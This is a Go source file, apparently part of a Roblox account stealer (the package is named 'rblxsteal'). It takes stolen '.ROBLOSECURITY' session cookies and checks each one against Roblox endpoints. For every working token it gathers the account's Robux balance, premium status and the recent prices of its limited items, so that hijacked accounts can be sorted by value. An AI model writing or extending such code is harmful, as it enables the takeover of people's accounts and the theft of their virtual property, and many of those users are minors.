package rblxsteal import ( "encoding/json" "fmt" "io/ioutil" "log" "net/http" ) type UserInfo struct { UserID int `json:"UserID"` UserName string `json:"UserName"` Robux int `json:"RobuxBalance"` Thumbnail string `json:"ThumbnailUrl"` BuildersClub bool `json:"IsAnyBuildersClubMember"` IsPremium bool `json:"IsPremium"` Limiteds []Asset Token string } type Asset struct { Name string `json:"name"` RecentAveragePrice float64 `json:"recentAveragePrice"` } type Response struct { Data []Asset `json:"data"` } func CheckToken(token string) (UserInfo, bool) { client := http.Client{} userinfo := UserInfo{} req, err := http.NewRequest("GET", "https://www.roblox.com/mobileapi/userinfo", nil) if err != nil { log.Fatal(err) } cookie := http.Cookie{Name: ".ROBLOSECURITY", Value: token} req.AddCookie(&cookie) res, err := client.Do(req) body, err := ioutil.ReadAll(res.Body) sb := string(body) if len(sb) > 500 { return UserInfo{}, false } else { err := json.Unmarshal([]byte(sb), &userinfo) if err != nil { log.Fatal(err) } return userinfo, true } } func GetLimiteds(id int) []Asset { client := http.Client{} req, err := http.NewRequest("GET", "https://inventory.roblox.com/v1/users/"+fmt.Sprint(id)+"/assets/collectibles", nil) if err != nil { log.Fatal(err) } res, err := client.Do(req) body, err := ioutil.ReadAll(res.Body) sb := string(body) var response Response assets := []Asset{} err = json.Unmarshal([]byte(sb), &response) if err != nil { log.Fatal(err) } for _, asset := range response.Data { tmpAsset := Asset{asset.Name, asset.RecentAveragePrice} assets = append(assets, tmpAsset) } return assets } func GetRobloxStuff(cookies []string) []UserInfo { users := []UserInfo{} for _, i := range cookies { userInfo, valid := CheckToken(i) userInfo.Token = i if valid != false { userInfo.Limiteds = GetLimiteds(userInfo.UserID) users = append(users, userInfo) } else { } } return users }